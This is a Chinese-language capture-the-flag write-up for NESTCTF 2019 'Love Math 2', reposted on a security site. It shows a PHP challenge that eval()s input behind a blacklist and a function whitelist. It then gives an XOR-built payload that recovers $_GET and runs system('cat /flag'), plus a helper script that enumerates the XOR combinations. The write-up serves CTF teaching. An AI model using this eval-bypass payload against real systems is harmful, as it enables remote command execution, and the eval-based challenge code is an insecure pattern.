[NESTCTF 2019]Love Math 2-解题步骤详解

admin 2022年5月8日14:26:24评论60 views字数 2032阅读6分46秒阅读模式

[NESTCTF 2019]Love Math 2-解题步骤详解源码

 <?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){    show_source(__FILE__);}else{    //例子 c=20-1    $content = $_GET['c'];    if (strlen($content) >= 60) {        die("太长了不会算");    }    $blacklist = [' ', 't', 'r', 'n',''', '"', '`', '[', ']'];    foreach ($blacklist as $blackitem) {        if (preg_match('/' . $blackitem . '/m', $content)) {            die("请不要输入奇奇怪怪的字符");        }    }    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];    preg_match_all('/[a-zA-Z_x7f-xff][a-zA-Z_0-9x7f-xff]*/', $content, $used_funcs);    foreach ($used_funcs[0] as $func) {        if (!in_array($func, $whitelist)) {            die("请不要输入奇奇怪怪的函数");        }    }    //帮你算出答案    eval('echo '.$content.';');}

之前有一道Love math 解法一样,直接放payload

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

解释

(is_nan^(6).(4)).(tan^(1).(5))结果是_GET

$pi=_GET,$$pi=$_GET

php中,get方法的[]可以用{}替代,$pi{0}($pi{1})即$_GET{0}($_GET{1})总的来看就是system(cat /flag)

<?php$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];for($k=1;$k<=sizeof($payload);$k++){    for($i = 0;$i < 9; $i++){        for($j = 0;$j <=9;$j++){            $exp = $payload[$k] ^ $i.$j;            echo($payload[$k]."^$i$j"."==>$exp");            echo "<br />";        }    }}

原文来自CSDN博主「fmyyy1」|侵删




[NESTCTF 2019]Love Math 2-解题步骤详解

[NESTCTF 2019]Love Math 2-解题步骤详解


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习[NESTCTF 2019]Love Math 2-解题步骤详解[NESTCTF 2019]Love Math 2-解题步骤详解。想加入我们就给我们留言吧[NESTCTF 2019]Love Math 2-解题步骤详解

[NESTCTF 2019]Love Math 2-解题步骤详解

[NESTCTF 2019]Love Math 2-解题步骤详解

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!

[NESTCTF 2019]Love Math 2-解题步骤详解

原文始发于微信公众号(寰宇卫士):[NESTCTF 2019]Love Math 2-解题步骤详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月8日14:26:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [NESTCTF 2019]Love Math 2-解题步骤详解https://cn-sec.com/archives/981627.html

发表评论

匿名网友 填写信息